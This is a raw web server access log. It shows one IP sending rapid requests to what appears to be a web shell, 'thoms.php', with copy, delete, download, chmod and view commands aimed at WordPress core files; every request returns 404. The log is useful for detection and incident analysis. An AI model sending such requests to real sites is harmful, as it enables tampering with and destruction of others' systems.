45.135.193.11 - - [11/Sep/2026:23:59:50 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fregistration.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fregistration.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:50 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-block-parser-block.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-block-parser-block.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:50 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-widget.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-widget.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:50 -0400] "GET /thoms.php?del=general-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=general-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:50 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fgeneral-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fgeneral-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:50 -0400] "GET /thoms.php?del=global-styles-and-settings.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=global-styles-and-settings.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:50 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Frest-api.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Frest-api.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:51 -0400] "GET /thoms.php?dl=update.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=update.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:51 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-block-bindings-source.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-block-bindings-source.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:51 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=utf8.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=utf8.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:51 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-http-requests-hooks.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-http-requests-hooks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:51 -0400] "GET /thoms.php?chmod=class-wp-image-editor.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-image-editor.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:51 -0400] "GET /thoms.php?dl=class-wp-network.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-network.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:51 -0400] "GET /thoms.php?chmod=class-wp-object-cache.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-object-cache.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:51 -0400] "GET /thoms.php?dl=media.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=media.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:51 -0400] "GET /thoms.php?dl=rss-functions.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=rss-functions.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:51 -0400] "GET /thoms.php?del=customize&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=customize&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:51 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fupdate.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fupdate.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:51 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-plugin-dependencies.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-plugin-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:51 -0400] "GET /thoms.php?chmod=class-wp-taxonomy.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-taxonomy.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:51 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=script-modules.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=script-modules.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:51 -0400] "GET /thoms.php?del=class-wp-theme-json-resolver.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json-resolver.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:51 -0400] "GET /thoms.php?del=ID3&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ID3&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:52 -0400] "GET /thoms.php?chmod=php-ai-client&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=php-ai-client&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:52 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-walker-page-dropdown.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-walker-page-dropdown.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:52 -0400] "GET /thoms.php?del=class-wp-http-encoding.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-http-encoding.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:52 -0400] "GET /thoms.php?del=class-wp-recovery-mode.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:52 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-rewrite.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-rewrite.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:52 -0400] "GET /thoms.php?chmod=class-http.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-http.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:52 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-date-query.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-date-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:52 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-paused-extensions-storage.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-paused-extensions-storage.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:52 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-role.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-role.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:52 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=feed-rss2-comments.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=feed-rss2-comments.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:52 -0400] "GET /thoms.php?del=template-loader.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=template-loader.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:52 -0400] "GET /thoms.php?chmod=class-wp-block-type.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-type.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:52 -0400] "GET /thoms.php?chmod=class-wp-dependencies.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-dependencies.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:52 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Flink-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Flink-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:52 -0400] "GET /thoms.php?chmod=class-wp-rewrite.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-rewrite.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:52 -0400] "GET /thoms.php?del=wp-diff.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=wp-diff.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:52 -0400] "GET /thoms.php?del=class-wp-customize-widgets.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-widgets.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:53 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-script-modules.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-script-modules.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:53 -0400] "GET /thoms.php?del=class.wp-styles.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class.wp-styles.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:53 -0400] "GET /thoms.php?del=pluggable.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=pluggable.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:53 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-block-type.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-block-type.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:53 -0400] "GET /thoms.php?chmod=class-wp-exception.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-exception.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:53 -0400] "GET /thoms.php?dl=class-wp-site.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-site.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:53 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ffeed-atom-comments.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ffeed-atom-comments.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:53 -0400] "GET /thoms.php?chmod=functions.wp-scripts.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=functions.wp-scripts.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:53 -0400] "GET /thoms.php?del=json-schema.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=json-schema.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:53 -0400] "GET /thoms.php?del=meta.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=meta.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:53 -0400] "GET /thoms.php?del=images&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=images&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:53 -0400] "GET /thoms.php?chmod=js&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=js&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:53 -0400] "GET /thoms.php?del=PHPMailer&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=PHPMailer&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:53 -0400] "GET /thoms.php?dl=class-wp-http-encoding.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-encoding.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:53 -0400] "GET /thoms.php?del=block-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=block-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:53 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fdefault-constants.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fdefault-constants.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:54 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=global-styles-and-settings.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=global-styles-and-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:54 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fphp-ai-client&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fphp-ai-client&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:54 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-pop3.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-pop3.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:54 -0400] "GET /thoms.php?dl=class-wp-comment-query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-comment-query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:54 -0400] "GET /thoms.php?chmod=class-wp-navigation-fallback.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-navigation-fallback.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:54 -0400] "GET /thoms.php?del=class-wp-url-pattern-prefixer.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-url-pattern-prefixer.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:54 -0400] "GET /thoms.php?del=class-wp-user-meta-session-tokens.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-user-meta-session-tokens.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:54 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes%2Fsodium_compat HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes%2Fsodium_compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:54 -0400] "GET /thoms.php?dl=block-patterns.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=block-patterns.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:54 -0400] "GET /thoms.php?chmod=block-patterns.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=block-patterns.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:54 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-walker-category.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-walker-category.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
